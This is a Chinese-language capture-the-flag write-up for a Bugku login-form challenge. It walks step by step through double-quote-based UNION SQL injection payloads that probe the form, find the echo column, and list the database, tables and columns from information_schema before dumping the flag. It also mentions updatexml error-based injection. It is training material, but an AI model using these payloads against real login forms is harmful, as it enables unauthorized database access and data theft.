步骤
1、打开题目链接,是一个登录界面,抓包后传数据进行尝试
2、尝试数据
-
先尝试
admin_name=1&admin_passwd=1&submit=GO+GO+GO
得到Try Again!
-
尝试
admin_name=1'&admin_passwd=1&submit=GO+GO+GO
仍然得到Try Again!
,说明 ’ 被过滤了 -
尝试
admin_name=1"&admin_passwd=1&submit=GO+GO+GO
得到You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1"' at line 1
说明 应该用 " 分隔 -
尝试
admin_name=1"%23&admin_passwd=1&submit=GO+GO+GO
发现 没有报错了,说明,需要注释掉一些多余的东西来得到正确结果
3、判断回显位置
admin_name=1" union select 1%23&admin_passwd=1&submit=GO+GO+GO
得到The used SELECT statements have a different number of columns
百度后知道是union前后的列数不相同
再改payload为
admin_name=1" union select 1,2%23&admin_passwd=1&submit=GO+GO+GO
得到
发现回显位置在Login_name那里(不要被后面那句话迷惑了。。)
4、爆数据库名
admin_name=1" union select database(),2%23&admin_passwd=1&submit=GO+GO+GO
得到bugkusql1
5、爆表名
admin_name=1" union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2%23&admin_passwd=1&submit=GO+GO+GO
得到flag1
改limit 0,1为limt 1,1 得到whoami
6、爆字段
admin_name=1" union select (select column_name from information_schema.columns where table_name='flag1'),2%23&admin_passwd=1&submit=GO+GO+GO
得到flag1
7、flag
admin_name=1" union select (select flag1 from flag1),2%23&admin_passwd=1&submit=GO+GO+GO
得到ed6b28e684817d9efcaf802979e57aea
备注
- 在admin_name或者admin_passwd 两处都可以进行爆破
- 最初尝试
admin_name=1" union select 1,2%23&admin_passwd=1&submit=GO+GO+GO
时没有看出来回显在1处,导致,再次尝试admin_name=1" union select 1,database()%23&admin_passwd=1&submit=GO+GO+GO
时发现没有回显 - 用错误注入updatexml也可以得到数据库名,表名,字段名,但是 爆flag时,因为flag太长,导致无法全部回显